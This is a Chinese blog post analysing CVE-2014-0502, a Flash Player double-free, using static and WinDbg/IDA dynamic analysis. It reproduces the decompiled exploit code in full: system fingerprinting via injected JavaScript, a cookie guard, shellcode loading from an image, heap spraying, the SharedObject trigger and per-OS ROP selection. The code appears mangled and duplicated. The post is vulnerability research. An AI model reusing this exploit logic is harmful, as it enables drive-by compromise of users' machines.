-
-
[原创]全网最详细CVE-2014-0502 Adobe Flash Player双重释放漏洞分析
-
发表于: 2021-10-14 15:51 22941
-
这次分析了CVE-2014-0502 Adobe Flash Player中的双重释放漏洞。文章的前半部分是Action Script代码的静态分析以及对于漏洞利用原理的一个初步分析,AS代码分析和书中内容重合,漏洞利用原理的初步分析涉及到了Adobe Flash Player的一些操作机制,通过搜索查看网上的资料完成了前半部分的内容;
后半部分集中在漏洞的动态调试上,目标是为了确定该漏洞在内存操作上的利用原理。由于双重释放的内存并不在堆中,而且没有在网上找到相关数据结构的资料,对于漏洞本身,网上能够找到的分析文章也并不深入(最详细的就是参考资料3了),因此分析过程并不顺利。最终通过断点调试、内存数据分析以及IDA静态代码的分析,得到了一个猜想上的结论(或许是关键字的原因,我并没有找到相关内存机制的资料)。
根据书中的描述,攻击者利用该漏洞构造了一个swf文件,并将文件嵌入网页中诱导用户访问,实现漏洞利用。之前分析过CVE-2011-2110,是Adobe Flash Player中的数组越界访问漏洞,使用了JPEXS Free Flash Decompiler工具对swf文件进行反编译,这次使用同样的方法。在书籍配套资料中提供了构造好的swf文件cc.swf,拖入工具中查看反编译结果。
自动生成的反编译结果中有很多特殊字符,因此我根据每个函数或变量的功能对其名称进行了修改。
首先对代码中几个子功能辅助函数进行分析:
从代码可以看出这个漏洞利用代码针对的是xp系统中的中文版、中国台湾版以及英文版,win7系统会进一步执行checkversion()
函数,该函数如下:
这个函数用于在图片加载完成后执行:
通过该函数可以看到shellcode的内容就保存在要加载的图片中,其中最后四个字节保存的是shellcode的长度,根据该数据前向读取,获得shellcode的内容放入mpsc属性中。
为了便于判断之前是否进行过漏洞利用,程序设置了cookie值XPT20131111:
里面的代码内容整理后得到:
堆喷射函数使用提供的参数构造一个大小为1MB的字节数组:
这个函数创建了一个共享对象record
以上的代码分析只是对整个漏洞利用流程有一个初步的了解,但是对于问题的根源——漏洞利用原理,仍然不甚清楚。
为了理解为什么上面的代码会触发双重释放漏洞,需要对Action Script有一定的了解,为此我查看了一下Action Script的手册(参考资料1)。
AS通过Worker的实现了线程同步的概念,每个worker在一个单独的线程中执行它的代码。创建Worker对象不需要调用Worker()
构造函数,在支持Worker同步的环境下,程序一开始会自动为主SWF创建一个Worker,即上面代码中提到的primordial worker。
如果想要创建其他的worker,有很多种方法,具体可以参考手册中的内容。而上面代码中的写法就是其中的一种方法,使用同一swf文件同时作为primordial worker和background worker,通过条件判断的方式判断当前是哪个worker。
每个worker都独立执行,它们有不同的内存空间、变量和代码,但是可以使用共享属性(Shared properties)、MessageChannel
以及可共享的ByteArray
进行通信。
SharedObject可以用于在本地及远程读取和保存有限数量的数据。在此次的程序代码中,使用SharedObject.getLocal("record");
创建了一个叫做record
的本地共享对象。
根据手册中的说法,共享对象会在以下几种情况下进行flush,即写入本地文件的操作:
在background worker的代码中,调用了gen_exp()
函数,在该函数中,通过var sobj:SharedObject = SharedObject.getLocal("record");
创建了record共享对象,但是函数结束之后,对于该共享对象的引用就结束了,(在后期查看资料时,根据参考资料4,此时不会发生垃圾回收,因此不会发生flush操作,但是此时共享对象已经准备好被垃圾回收了);
在background worker代码结束的位置,执行了Worker.current.terminate();
函数,这句代码直接结束了当前的worker,理论上也会导致共享对象发生flush操作(除此之外,由于worker结束,会进行垃圾回收,垃圾回收同样会导致flush操作的发生)。
更深层次的原因我在参考资料2的这篇论文中找到了,在进行flush操作的时候,AVM会进行两个检查:
如果设置了pending flush标签,而且数据大小没有超过最大允许存储空间的范围,就会进行flush操作,并且重置标签;如果没有足够的空间,flush操作不会成功,标签也不会重置。
根据我们上面的分析,代码中理论上可以发生针对同一共享对象的两次flush操作,而这个record共享对象的大小超过了空间限制。
参考资料2中的描述其实援引自参考资料3,这里面说,当没有足够空间的时候,虽然flush操作没有成功,但是符合空间要求的那部分数据已经进行了写入并进行了空间释放,但是由于flush没成功,pending flush
的标签没有重置,这也就允许了第二次flush的发生,从而导致了双重释放。
以上,通过对代码的静态分析,我们得出了一个理论上的双重释放漏洞利用原理分析。接下来还是使用分析CVE-2011-2110的方法,对这个代码进行一个动态的分析调试,从而确认以上理论结果的正确性。
注:不知道是不是环境的问题,我在调试过程中得到的输出结果和书中的大为不同,因此分析步骤也有所差异
环境搭建:
服务器:Windows 7 sp0 64bits, 192.168.6.198
客户端:Windows XP sp3, IE 6.0.2900, flashplayer11_7r700_261_winax_debug.exe, 192.168.6.209
使用phpstudy在服务端安装好相应的服务,将cc.swf和logo.gif放在根目录,然后在客户端打开IE并使用windbg附加,访问192.168.6.198/cc.swf,程序中断:
这个中断的位置比较奇怪,看起来是在一个DLL的内部,所以很容易想到可能是中断在了ROP的执行过程中,由于环境问题,硬编码在程序中的地址出现了问题。
因为现在是XP的环境,根据上面静态分析可知,在简体中文版XP环境时,detect_sys
函数返回值应该是1。看一下此时用于生成ROP的函数gen_rop4()
:
中断的地址77bf200d
距离77BF18D3
蛮近的,但是也不确定是不是就是这里出现的问题。
看一下函数调用流程:
很好,看来至少前面的函数帧都是Flash中的代码,看一下第一个函数处的代码:
有了这个位置之后,我们可以重新调试,在10101810
的位置下断(重命名此处调用的函数为rop_func
),然后跟进看看函数是怎么到达77bf200d
这个中断位置的。
程序中断在10101810
之后,可以建立一个快照,然后F5,发现程序在这里一共中断了4次。因此回到一开始的快照,然后中断四次后就停下来步入。
但是接下来我遇到了一个问题,步入之后,程序在这个函数正常的执行,然后跳出来了Σ(っ °Д °;)っ
其实出现这个问题的原因特别特别简单,但是当时我就没想到……
为了找出问题的原因,我在IDA中打开Flash32_11_7_700_261.ocx文件,然后定位到Flash32_11_7_700_261+0x101136
这个函数,在多个跳转位置(就是IDA中标记了loc_xxxx的位置)下了断点:
然后不断F5,记录下中断的位置(以下不是直接输出内容,做了整理):
注意到在程序中断在第17个断点之后,就会从该函数返回,但是之后程序又到达了函数代码处,却没有在第2个断点,即函数开始位置中断,而是直接中断在了第5个断点处。
为啥会直接执行到第5个断点这里呢?之后我又多设置了几个断点,这里不再贴出过程,总之我真的是突然灵光一闪,意识到这个函数它嵌套了!!!
当程序第一次中断在第5个断点时,看一下函数调用流程:
可以发现函数的嵌套调用。
解决了这个问题之后就简单了,还是回到第五个断点处,第二次中断之后,可以继续单步,然后到达了这里:
程序调用了[eax+8]
,也就是77bf18d3
,这就是ROP中的一个地址啊。看一下eax处的内容:
这里就是ROP中的内容。
所以这里就是ROP进入的位置了,接下来要确定程序是如何改变这里的数据内容的。
现在我们知道程序会在101011c2 ff5008 call dword ptr [eax+8]
的位置跳转到ROP执行,但是这里原本的内容是什么呢?
可以回到程序第一次中断在第5个断点的时候,继续单步到达0x101011c2
的位置。
从call dword ptr [eax+8]
这种调用格式来看,这里应该是在调用对象的虚函数,所以可以看一下ecx的内容,这里通常保存了this指针
上面的第四个值和第七个值看起来很像ASCII,所以再看一下:
上面的路径字符串没有完全打印出来:
所以基本可以判断这里在对record对象进行操作,而代码中唯一和record有关的语句就是:
除了查看ecx的内容之外,注意eax的值为10c3d06c
。意外的是这个位置是可以在IDA中找到的:
所以[eax+8]
实际上应该要调用Concurrency::details::SchedulerBase::Id(void)
函数,看起来这个函数和同步有关。
接下来F5继续执行,第二次中断在第5个断点,还是单步到101011c2
的位置:
看一下ecx处的数据(注意这里ecx的值和上一次中断的值是一样的,所以仍旧是record对象):
ecx处的数据都清空了,而原本存在虚函数表的位置,即首四个字节的数据改变了,原本应该是10c3d06c
,现在变成了02aa4290
。
所以现在可以确定代码是通过漏洞利用,将record对象的虚函数表指针10c3d06c
修改为了ROP所在位置02aa4290
,而且在程序跳转进入ROP的时候,record对象已经完成了析构。
现在我们已经确定漏洞导致02aa41c0
处的首四个字节发生变化,那么就可以在这里设置一个写断点。回到程序第一次中断在第5个断点的时候,设置写断点,继续执行:
第二次中断的时候02aa41c0
处的数据修改为了02aa4290
,而且record对象已经完成了析构
看一下此时的函数调用流程:
这里需要注意一下这些函数调用时的参数,回顾之前的分析,ecx对象的地址是02aa41c0
。看一下02aa41c0
第一次出现时的返回地址是102e0063
,在IDA中找到这个地址,该地址所在函数的伪代码是:
到这里其实有点卡住了,从上面的代码可以看出这里在执行一些和释放相关的操作,也是在这个过程中修改了record对象的虚函数表指针。
但是为什么刚好就修改了虚函数表指针,为什么修改之后的数值刚好是ROP所在的位置,现在仍然不清楚。
停下来思考一下,隐约记得之前看0day安全的时候看到过针对C++虚函数表指针的漏洞利用方法,虽然细节记不大清除了,但是大概和变量之间的物理位置也有一些关系。在回过头来看一下cc.swf反编译得到的代码:
我在想这样的代码顺序是否和漏洞利用有关,这完全是瞎猜的,但是为我后面的分析方向提供了思路。
根据以上所有的分析过程,有下面的结论:
根据上面的这些结论,我想要在一切开始之前:在02aa4290
下一个写断点,检查ROP的构造情况;在函数deconstruct
下个断点,确定析构的发生;在02aa41c0
添加写断点,观察record对象的构造情况。
以上,重新回到第一次中断在10101810
的时候,检查02aa4290
,发现这里还没有ROP的数据,所以从这里开始设置相应断点。
第一次中断在10101810
:
02aa4290
中不存在ROP数据,record对象(02aa41c0
)中无数据
设置相应断点:
继续执行,在断点4中断四次,第五次中断时,02aa41c0
处写入了一个四字节数据(不是10c3d06c
),同时在对之后的空间进行清空:
检查此时的函数调用流程:
在IDA中检查各个返回地址所在函数,在第四个返回地址102e0fea
所在函数中,看到了下面的伪代码:
所以合理猜测这里就是在执行var sobj:SharedObject = SharedObject.getLocal("record");
语句,并为record对象的数据准备空间。
继续执行,又在第4个断点中断了一次,此时写入了正确的数值10c3d06c
;
继续执行,在断点2中断两次,第三次中断时,02aa4290
处写入了ROP相关数据
继续执行,第二次中断在10101810
继续执行,中断在第3个断点,此时执行和析构相关操作,此时record对象还未被清空。因为在上面的伪代码中,发现这个函数中包含了delete
操作,因此此时开始单步,看一下record对象的清空操作。
程序中断在第3个断点
程序中断在第4个断点
这里接下来的一段代码都是对this指针处数据的处理,我单步了一下,果然发现这个函数就是在对record对象处的数据进行清空,把这个函数叫做clear_object
,整个函数执行完后:
程序中断在第5个断点,到达外层步骤c对应的条件判断语句处,直接跳转,没有到达delete语句。
以上步骤进行一个整理:
我在分析到这里的时候卡住了,因为我不理解这种deconstruct
的嵌套是怎么出现的,尝试了以下几种方法:
根据上面的步骤整理,rop_func
中发生了很多我不清楚的事,最终导致了第二次deconstruct
的发生。按照我一开始对于发生两次flush
的时机的理解(2.3.3小结中划掉的部分),我不太明白为什么会发生这样的嵌套,但是根据参考资料3,我知道这里发生了垃圾回收。于是我在IDA中跟踪了一下发生第二次deconstruct
时的函数调用流程,结果发现在函数sub_1014C1BD(second_flush)
中,deconstruct
和change_vtable
先后被调用:
同时在外层函数中,发现了函数调用:sub_105B1590(*a1, "[mem] DRC reaped %u objects (%u kb) freeing %u pages (%u kb) in %.2f millis (%.4f s)\n", ArgList);
推测这里应该在做垃圾回收了;
上网搜索资料,找到了参考资料4,对2.3.3小结重新进行了一些补充,理解了上面的步骤整理中为什么deconstruct
会嵌套出现;
到此为止我已经明白了两次flush发生的背景以及先后关系,正如2.3.3小结中介绍的那样,通过调试的方式证明了这个流程。
但是现在仍旧不清楚为什么record对象的虚函数表指针会被修改成ROP的地址。
在IDA中查看change_vtable
函数代码:
不知道为什么和0xFFFFF000
有一个与操作。
后来绕了一些弯路才发现clear_object
也会调用change_vtable
函数(大概就是在IDA中按照函数调用流程追踪的时候发现的),这次回到第一次中断在deconstruct
函数的时候,同时在clear_object
上下断点,检查这个函数的功能。
最终当函数在clear_object
中断的时候,还是到达了清除object中内容的时候。先观察一下IDA中的代码:
这里的this指针指向的就是record对象。函数调用中,只有第一个函数调用不一样,在write_data
的伪代码中,发现了v5 = sub_10131B80("data");
语句,所以猜测可能和数据写入本地有关系。
接下来关注this指针的偏移,除了第一个偏移是5之外,其余偏移都是3,我们在windbg中检查一下这些位置的值
看起来这几个位置都存储了和this对象相关的其他对象,以及8字节的其他数据。
在clear
函数中:
会清除这些对象指针以及之后的8字节数据。
目前为止已经弄清楚了clear_object
是怎么清除record对象数据的。接下来看一下clear
函数中的link_in
函数是干什么的。
link_in
函数调用了change_vtable
!
我们在windbg中步进,看一下change_vtable
究竟干了什么。
因为我之前调试过一遍,所以选择比较方便说明的偏移0x6C
位置的对象02b013a0
,进一步步入分析:
在change_vtable
函数中,程序首先做了如下计算:
得到esi的值为02b01000
,也就是对02b013a0
对象做了一个4096字节的对齐,定位到了页首的位置。
接下来有一些取值和函数调用,目前不知道什么意思,直接跳过,一直到达未来会对vtable指针进行修改的位置,看一下这块的指令:
对应的伪代码:
一开始我的关注点一直在修改vtable指针上面,所以没有意识到上面代码的功能。在调试的时候才发现,这不就是在进行链表的插入操作吗?
执行上述代码之前:
执行之后:
相当于将object插入到了object_align之后。
类比堆结构中的空闲双向链表结构,我猜测在每页的页首位置有32个字节的数据存储了空闲链表的表头结点数据(如果这里真的是个链表的话),其中首四个字节指向下一个节点,其余位置的数据功能并不清楚。其中最后四个字节10f42aec
处的数据如下,也可以看到和当前页链表有关的一些信息:
如果从2b01000
开始追踪首四个字节的话,可以得到如下地址列表,可以看到地址是逐渐增大的:
继续单步下去,会重复上述步骤,并最终将record对象中数据清空。
所以实际上change_vtable
就是做了一个链表链入的操作。
我们在此回顾一下漏洞利用流程(做了一些补充):
在第一次flush
执行过程中,发生了垃圾回收,由于flush
判断机制存在问题,程序判断record对象需要进行flush
,于是释放了对象所在空间,并将其链入空闲链表中,这一操作导致record对象的虚函数表指针被修改。
有一点需要注意,就是reocord对象和ROP byteArray对象所在的地址非常接近,实际上两者应该是相邻的(所以AS代码中gen_exp
和gen_rop
的位置真的是有意义的)。在最终terminate
的时候,两个对象都会被垃圾回收,ROP所在地址大于record对象所在地址,所以最后链入链表的时候record在ROP前面,record对象所在空间的前四个字节(即虚函数指针所在位置)就会被被修改成ROP对象空间地址。
之后继续进行第一次的flush
操作,此时程序以为record对象尚未被释放,因此会继续使用其虚函数,致使程序转入ROP中执行。
至此,完成了对该漏洞利用原理的分析。
此次分析过程中遇到了两大问题:
有以下收获:
public function detect_sys() :
int
{
var version:
*
=
null;
var VerInt:Number
=
NaN;
var os:String
=
Capabilities.os.toLowerCase();
var language:String
=
Capabilities.language.toLowerCase();
/
/
如果是xp系统,根据语言不同得到不同返回值
if
(os
=
=
"windows xp"
) {
if
(language
=
=
"zh-cn"
) {
return
1
;
}
if
(language
=
=
"en"
) {
return
2
;
}
if
(language
=
=
"zh-tw"
) {
return
3
;
}
return
0
;
}
/
/
如果是win7系统,会执行checkversion()函数
if
(os
=
=
"windows 7"
) {
ExternalInterface.call(
"eval"
,
"function checkversion(){ var result; var ua=window.navigator.userAgent.toLowerCase(); var temp=ua.replace(/ /g,\"\"); { if(temp.indexOf(\"nt6.1\")>-1&&temp.indexOf(\"msie\")>-1&&temp.indexOf(\"msie10.0\")==-1) { var java6=0; var java7=0; var a=0; var b=0; try { java6=new ActiveXObject(\"JavaWebStart.isInstalled.1.6.0.0\"); } catch(e){} try { java7=new ActiveXObject(\"JavaWebStart.isInstalled.1.7.0.0\"); } catch(e){} if(java6&&!java7) { return \"16\"; } try { a=new ActiveXObject(\"SharePoint.OpenDocuments.4\"); } catch(e){} try { b=new ActiveXObject(\"SharePoint.OpenDocuments.3\"); } catch(e){} if((typeof a)==\"object\"&&(typeof b)==\"object\") { try { location.href = \'ms-help://\' }catch(e){}; return \"10\"; } else if((typeof a)==\"number\"&&(typeof b)==\"object\") { try { location.href = \'ms-help://\' }catch(e){}; return \"07\"; } } } return \"0\";}"
);
version
=
ExternalInterface.call(
"eval"
,
"checkversion()"
);
trace(version);
return
Number(parseInt(version,
10
));
}
return
0
;
}
public function detect_sys() :
int
{
var version:
*
=
null;
var VerInt:Number
=
NaN;
var os:String
=
Capabilities.os.toLowerCase();
var language:String
=
Capabilities.language.toLowerCase();
/
/
如果是xp系统,根据语言不同得到不同返回值
if
(os
=
=
"windows xp"
) {
if
(language
=
=
"zh-cn"
) {
return
1
;
}
if
(language
=
=
"en"
) {
return
2
;
}
if
(language
=
=
"zh-tw"
) {
return
3
;
}
return
0
;
}
/
/
如果是win7系统,会执行checkversion()函数
if
(os
=
=
"windows 7"
) {
ExternalInterface.call(
"eval"
,
"function checkversion(){ var result; var ua=window.navigator.userAgent.toLowerCase(); var temp=ua.replace(/ /g,\"\"); { if(temp.indexOf(\"nt6.1\")>-1&&temp.indexOf(\"msie\")>-1&&temp.indexOf(\"msie10.0\")==-1) { var java6=0; var java7=0; var a=0; var b=0; try { java6=new ActiveXObject(\"JavaWebStart.isInstalled.1.6.0.0\"); } catch(e){} try { java7=new ActiveXObject(\"JavaWebStart.isInstalled.1.7.0.0\"); } catch(e){} if(java6&&!java7) { return \"16\"; } try { a=new ActiveXObject(\"SharePoint.OpenDocuments.4\"); } catch(e){} try { b=new ActiveXObject(\"SharePoint.OpenDocuments.3\"); } catch(e){} if((typeof a)==\"object\"&&(typeof b)==\"object\") { try { location.href = \'ms-help://\' }catch(e){}; return \"10\"; } else if((typeof a)==\"number\"&&(typeof b)==\"object\") { try { location.href = \'ms-help://\' }catch(e){}; return \"07\"; } } } return \"0\";}"
);
version
=
ExternalInterface.call(
"eval"
,
"checkversion()"
);
trace(version);
return
Number(parseInt(version,
10
));
}
return
0
;
}
function checkversion() {
var result;
var ua
=
window.navigator.userAgent.toLowerCase();
var temp
=
ua.replace(
/
/
g, "");
{
if
(temp.indexOf(
"nt6.1"
) >
-
1
&& temp.indexOf(
"msie"
) >
-
1
&& temp.indexOf(
"msie10.0"
)
=
=
-
1
) {
var java6
=
0
;
var java7
=
0
;
var a
=
0
;
var b
=
0
;
try
{
java6
=
new ActiveXObject(
"JavaWebStart.isInstalled.1.6.0.0"
);
} catch(e) {}
try
{
java7
=
new ActiveXObject(
"JavaWebStart.isInstalled.1.7.0.0"
);
} catch(e) {}
/
/
如果安装了java1.
6
,且未安装java1.
7
,返回
16
if
(java6 && !java7) {
return
"16"
;
}
try
{
a
=
new ActiveXObject(
"SharePoint.OpenDocuments.4"
);
} catch(e) {}
try
{
b
=
new ActiveXObject(
"SharePoint.OpenDocuments.3"
);
} catch(e) {}
/
/
安装了office
2010
if
((typeof a)
=
=
"object"
&& (typeof b)
=
=
"object"
) {
try
{
location.href
=
'ms-help://'
} catch(e) {};
return
"10"
;
/
/
安装了office
2007
}
else
if
((typeof a)
=
=
"number"
&& (typeof b)
=
=
"object"
) {
try
{
location.href
=
'ms-help://'
} catch(e) {};
return
"07"
;
}
}
}
return
"0"
;
}
function checkversion() {
var result;
var ua
=
window.navigator.userAgent.toLowerCase();
var temp
=
ua.replace(
/
/
g, "");
{
if
(temp.indexOf(
"nt6.1"
) >
-
1
&& temp.indexOf(
"msie"
) >
-
1
&& temp.indexOf(
"msie10.0"
)
=
=
-
1
) {
var java6
=
0
;
var java7
=
0
;
var a
=
0
;
var b
=
0
;
try
{
java6
=
new ActiveXObject(
"JavaWebStart.isInstalled.1.6.0.0"
);
} catch(e) {}
try
{
java7
=
new ActiveXObject(
"JavaWebStart.isInstalled.1.7.0.0"
);
} catch(e) {}
/
/
如果安装了java1.
6
,且未安装java1.
7
,返回
16
if
(java6 && !java7) {
return
"16"
;
}
try
{
a
=
new ActiveXObject(
"SharePoint.OpenDocuments.4"
);
} catch(e) {}
try
{
b
=
new ActiveXObject(
"SharePoint.OpenDocuments.3"
);
} catch(e) {}
/
/
安装了office
2010
if
((typeof a)
=
=
"object"
&& (typeof b)
=
=
"object"
) {
try
{
location.href
=
'ms-help://'
} catch(e) {};
return
"10"
;
/
/
安装了office
2007
}
else
if
((typeof a)
=
=
"number"
&& (typeof b)
=
=
"object"
) {
try
{
location.href
=
'ms-help://'
} catch(e) {};
return
"07"
;
}
}
}
return
"0"
;
}
public function listener(e:Event) : void {
var bytes:ByteArray
=
new ByteArray();
/
/
bytes的内容为logo.gif数据
bytes.writeBytes(e.target.data as ByteArray,
0
,(e.target.data as ByteArray).length);
bytes.position
=
bytes.length
-
4
;
bytes.endian
=
"littleEndian"
;
var
len
:uint
=
bytes.readUnsignedInt();
/
/
最后四个字节是shellcode长度
var shellbytes:ByteArray
=
new ByteArray();
/
/
读取shellcode内容
shellbytes.writeBytes(bytes,bytes.length
-
4
-
len
,
len
);
shellbytes.position
=
0
;
/
/
设置共享变量mpsc为shellcode内容
worker.setSharedProperty(
"mpsc"
,shellbytes);
worker.start();
}
public function listener(e:Event) : void {
var bytes:ByteArray
=
new ByteArray();
/
/
bytes的内容为logo.gif数据
bytes.writeBytes(e.target.data as ByteArray,
0
,(e.target.data as ByteArray).length);
bytes.position
=
bytes.length
-
4
;
bytes.endian
=
"littleEndian"
;
var
len
:uint
=
bytes.readUnsignedInt();
/
/
最后四个字节是shellcode长度
var shellbytes:ByteArray
=
new ByteArray();
/
/
读取shellcode内容
shellbytes.writeBytes(bytes,bytes.length
-
4
-
len
,
len
);
shellbytes.position
=
0
;
/
/
设置共享变量mpsc为shellcode内容
worker.setSharedProperty(
"mpsc"
,shellbytes);
worker.start();
}
public function cookie_func() :
*
{
ExternalInterface.call(
"eval"
,
"function setcookie(){var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );document.cookie = \"Cookie1=XPT20131111; expires=\"+ Then.toGMTString();}function CanIFuck(){var cookieString = new String(document.cookie);if(cookieString.indexOf(\"XPT20131111\") == -1){setcookie(); return 1;}else{ return 0;}}"
);
var ret:String
=
ExternalInterface.call(
"eval"
,
"CanIFuck()"
);
return
parseInt(ret,
10
);
}
public function cookie_func() :
*
{
ExternalInterface.call(
"eval"
,
"function setcookie(){var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );document.cookie = \"Cookie1=XPT20131111; expires=\"+ Then.toGMTString();}function CanIFuck(){var cookieString = new String(document.cookie);if(cookieString.indexOf(\"XPT20131111\") == -1){setcookie(); return 1;}else{ return 0;}}"
);
var ret:String
=
ExternalInterface.call(
"eval"
,
"CanIFuck()"
);
return
parseInt(ret,
10
);
}
function setcookie() {
var Then
=
new Date();
Then.setTime(Then.getTime()
+
1000
*
3600
*
24
*
7
);
document.cookie
=
"Cookie1=XPT20131111; expires="
+
Then.toGMTString();
}
function CanIFuck() {
var cookieString
=
new String(document.cookie);
if
(cookieString.indexOf(
"XPT20131111"
)
=
=
-
1
) {
setcookie();
return
1
;
}
else
{
return
0
;
}
}
function setcookie() {
var Then
=
new Date();
Then.setTime(Then.getTime()
+
1000
*
3600
*
24
*
7
);
document.cookie
=
"Cookie1=XPT20131111; expires="
+
Then.toGMTString();
}
function CanIFuck() {
var cookieString
=
new String(document.cookie);
if
(cookieString.indexOf(
"XPT20131111"
)
=
=
-
1
) {
setcookie();
return
1
;
}
else
{
return
0
;
}
}
public static function heap_spray(val:
*
) :
*
{
var temp:
*
=
null;
bytes
=
new ByteArray();
bytes.writeBytes(val);
/
/
成倍扩大bytes数组到
1MB
while
(bytes.length <
0x100000
) {
temp
=
new ByteArray();
temp.writeBytes(bytes);
bytes.writeBytes(temp);
}
}
public static function heap_spray_func(val:
*
, size:
*
) :
*
{
if
(null
=
=
bytes_array) {
bytes_array
=
[];
}
t
=
size;
heap_spray(val);
}
public static function heap_spray(val:
*
) :
*
{
var temp:
*
=
null;
bytes
=
new ByteArray();
bytes.writeBytes(val);
/
/
成倍扩大bytes数组到
1MB
while
(bytes.length <
0x100000
) {
temp
=
new ByteArray();
temp.writeBytes(bytes);
bytes.writeBytes(temp);
}
}
public static function heap_spray_func(val:
*
, size:
*
) :
*
{
if
(null
=
=
bytes_array) {
bytes_array
=
[];
}
t
=
size;
heap_spray(val);
}
public function gen_exp() : void {
var exp:String
=
"AAAA"
;
while
(exp.length <
102400
)
{
exp
+
=
exp;
}
var sobj:SharedObject
=
SharedObject.getLocal(
"record"
);
sobj.data.logs
=
exp;
}
public function gen_exp() : void {
var exp:String
=
"AAAA"
;
while
(exp.length <
102400
)
{
exp
+
=
exp;
}
var sobj:SharedObject
=
SharedObject.getLocal(
"record"
);
sobj.data.logs
=
exp;
}
public function cc() {
var loader:
*
=
null;
var shellbytes:
*
=
null;
var val:
*
=
null;
var j:
*
=
undefined;
var i:
*
=
undefined;
var block1:
*
=
null;
i
=
undefined;
var block:
*
=
null;
var rop:
*
=
null;
str
=
new String();
super
();
if
(Worker.current.isPrimordial) {
/
/
primordial worker
/
/
检查是否设置了cookie值XPT20131111,未设置则继续执行,否则返回
if
(cookie_func()
=
=
0
) {
return
;
}
sys
=
detect_sys();
/
/
检查系统环境
if
(sys
=
=
0
) {
/
/
系统为xp,且语言非中文、中国台湾、英文,则返回
return
;
}
loader
=
new URLLoader();
loader.dataFormat
=
"binary"
;
/
/
完成加载后执行listener函数
/
/
listener函数用于读取logo.gif中保存的shellcode
loader.addEventListener(
"complete"
,listener);
loader.load(new URLRequest(
"logo.gif"
));
/
/
加载图片logo.gif
/
/
创建background worker
worker
=
WorkerDomain.current.createWorker(loaderInfo.bytes);
worker.setSharedProperty(
"version"
,sys);
}
else
{
/
/
background worker入口点
sys
=
Worker.current.getSharedProperty(
"version"
);
shellbytes
=
Worker.current.getSharedProperty(
"mpsc"
);
val
=
new ByteArray();
val.endian
=
"littleEndian"
;
var sc_len:uint
=
0
;
/
/
构造大小为
32KB
,包含shellcode的基础数据
for
(i
=
0
; i <
0xc0c
; ) {
val.writeByte(
0x90
+
i);
i
+
+
;
}
val.writeBytes(shellbytes);
for
(i
=
val.length; i <
0x10000
; ) {
val.writeByte(
0x90
+
i);
i
+
+
;
}
/
/
通过堆喷射函数扩展数据到
1MB
heap_spray_func(val,
0xFFFDC
);
/
/
继续堆喷射,构造约
224MB
的数据
block1
=
new ByteArray();
block1.writeBytes(bytes,
0
,
0xFFFDC
);
bytes_array.push(block1);
bytes
=
null;
for
(i
=
0
; i <
0xe0
; ) {
block
=
new ByteArray();
block.writeBytes(block1,
0
,
0xFFFDC
);
bytes_array.push(block);
i
+
+
;
}
/
/
漏洞利用准备,创建共享对象record
gen_exp();
/
/
根据不同系统环境构造不同rop
if
(sys
=
=
7
) {
rop
=
gen_rop3();
rop.toString();
}
else
if
(sys
=
=
10
) {
rop
=
gen_rop2();
rop.toString();
}
else
if
(sys
=
=
16
) {
rop
=
gen_rop();
rop.toString();
}
else
if
(sys
=
=
1
|| sys
=
=
2
|| sys
=
=
3
) {
rop
=
gen_rop4();
rop.toString();
}
Worker.current.terminate();
/
/
结束当前进程,会释放共享对象record
}
}
public function cc() {
var loader:
*
=
null;
var shellbytes:
*
=
null;
var val:
*
=
null;
var j:
*
=
undefined;
var i:
*
=
undefined;
var block1:
*
=
null;
i
=
undefined;
var block:
*
=
null;
var rop:
*
=
null;
str
=
new String();
super
();
if
(Worker.current.isPrimordial) {
/
/
primordial worker
/
/
检查是否设置了cookie值XPT20131111,未设置则继续执行,否则返回
if
(cookie_func()
=
=
0
) {
return
;
}
sys
=
detect_sys();
/
/
检查系统环境
if
(sys
=
=
0
) {
/
/
系统为xp,且语言非中文、中国台湾、英文,则返回
return
;
}
loader
=
new URLLoader();
loader.dataFormat
=
"binary"
;
/
/
完成加载后执行listener函数
/
/
listener函数用于读取logo.gif中保存的shellcode
loader.addEventListener(
"complete"
,listener);
loader.load(new URLRequest(
"logo.gif"
));
/
/
加载图片logo.gif
/
/
创建background worker
worker
=
WorkerDomain.current.createWorker(loaderInfo.bytes);
worker.setSharedProperty(
"version"
,sys);
}
else
{
/
/
background worker入口点
sys
=
Worker.current.getSharedProperty(
"version"
);
shellbytes
=
Worker.current.getSharedProperty(
"mpsc"
);
val
=
new ByteArray();
val.endian
=
"littleEndian"
;
var sc_len:uint
=
0
;
/
/
构造大小为
32KB
,包含shellcode的基础数据
for
(i
=
0
; i <
0xc0c
; ) {
val.writeByte(
0x90
+
i);
i
+
+
;
}
val.writeBytes(shellbytes);
for
(i
=
val.length; i <
0x10000
; ) {
val.writeByte(
0x90
+
i);
i
+
+
;
}
/
/
通过堆喷射函数扩展数据到
1MB
heap_spray_func(val,
0xFFFDC
);
/
/
继续堆喷射,构造约
224MB
的数据
block1
=
new ByteArray();
block1.writeBytes(bytes,
0
,
0xFFFDC
);
bytes_array.push(block1);
bytes
=
null;
for
(i
=
0
; i <
0xe0
; ) {
block
=
new ByteArray();
block.writeBytes(block1,
0
,
0xFFFDC
);
bytes_array.push(block);
i
+
+
;
}
/
/
漏洞利用准备,创建共享对象record
gen_exp();
/
/
根据不同系统环境构造不同rop
if
(sys
=
=
7
) {
rop
=
gen_rop3();
rop.toString();
}
else
if
(sys
=
=
10
) {
rop
=
gen_rop2();
rop.toString();
}
else
if
(sys
=
=
16
) {
rop
=
gen_rop();
rop.toString();
}
else
if
(sys
=
=
1
|| sys
=
=
2
|| sys
=
=
3
) {
rop
=
gen_rop4();
rop.toString();
}
Worker.current.terminate();
/
/
结束当前进程,会释放共享对象record
}
}
(ac0.ff0): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
02aa4290
ebx
=
00000000
ecx
=
02aa41c0
edx
=
00000320
esi
=
02aa41c0
edi
=
0394fa1c
eip
=
77bf200d
esp
=
0394fa18
ebp
=
0394fa44
iopl
=
0
ov up ei pl nz na pe cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010a07
MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000
+
0x1200d
):
77bf200d
000500030000
add byte ptr ds:[
300h
],al ds:
0023
:
00000300
=
??
(ac0.ff0): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
02aa4290
ebx
=
00000000
ecx
=
02aa41c0
edx
=
00000320
esi
=
02aa41c0
edi
